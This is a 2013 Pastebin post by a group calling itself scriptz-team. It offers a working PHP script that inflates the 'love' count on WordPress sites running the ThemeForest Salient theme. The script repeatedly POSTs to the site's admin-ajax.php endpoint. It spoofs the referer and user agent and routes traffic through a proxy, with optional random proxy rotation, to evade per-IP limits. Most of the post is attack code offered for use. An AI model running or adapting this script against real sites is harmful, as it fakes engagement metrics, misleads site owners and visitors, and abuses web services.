scriptz-team

[PHP] ThemeForest Salient Theme - Love button hack

Nov 11th, 2013
226
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.14 KB | None | 0 0
  1.      _____ _____ _ _____ _____         _____ _____ _____ _____
  2.  ___|     | __  |_|  _  |_   _|___ ___|_   _|   __|  _  |     |
  3. |_ -|   --|    -| |   __| | | |- _|___| | | |   __|     | | | |
  4. |___|_____|__|__|_|__|    |_| |___|     |_| |_____|__|__|_|_|_|
  5. |s C R i P T z - T E A M . i N F O|████████████████████████████
  6.      
  7.                              - iNfO -
  8.  
  9. [PHP] ThemeForest Salient Theme - Love button hack
  10.      
  11.                              - NOtIcE -
  12.  
  13. From Theme Changelog: "Fixed bug that allowed love button to be clicked a few times if done rapidly before ajax response completed"
  14.  
  15. Okay the developer called ThemeNectar is responsible for this, since there is no ip restriction, and in your changelog you said "that allowed love button to be clicked a few times", we can sh*t your clicking, we have php and php can do this faster imo ^^
  16.  
  17.  <?php
  18. //s C R i P T z - T E A M . i N F O
  19.  
  20. define("WP_BLOG_URL", ""); // http://someblog.com
  21. define("LOVE_ID_HACK", ""); // must be number, you can find it in html source of blog
  22.  
  23. $url    = WP_BLOG_URL . '/wp-admin/admin-ajax.php';
  24. $fields = array(
  25.     'action' => "nectar-love",
  26.     'loves_id' => "nectar-love-" . LOVE_ID_HACK
  27. );
  28.  
  29. foreach ($fields as $key => $value) {
  30.     $fields_string .= $key . '=' . $value . '&';
  31. }
  32. rtrim($fields_string, '&');
  33.  
  34. $ch = curl_init();
  35.  
  36. //Multi proxy support in file ./proxy.txt, proxies add per lines
  37. /*
  38. function RandomLine($filename) {
  39. $lines = file($filename) ;
  40. return $lines[array_rand($lines)] ;
  41. }
  42. $random_proxy = RandomLine("./proxy.txt");
  43. */
  44. $ch = curl_init();
  45. curl_setopt($ch, CURLOPT_URL, $url);
  46. curl_setopt($ch, CURLOPT_REFERER, 'http://www.google.com/');
  47. curl_setopt($ch, CURLOPT_POST, count($fields));
  48. curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);
  49. curl_setopt($ch, CURLOPT_USERAGENT, 'RANDOM_FAKER');
  50. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  51. curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1);
  52. //curl_setopt($ch, CURLOPT_PROXY, $random_proxy);
  53. curl_setopt($ch, CURLOPT_PROXY, ""); //123.456.789.123:1234
  54. $data = curl_exec($ch);
  55. curl_close($ch);
  56. var_dump($data);
  57. ?>
Add Comment
Please, Sign In to add comment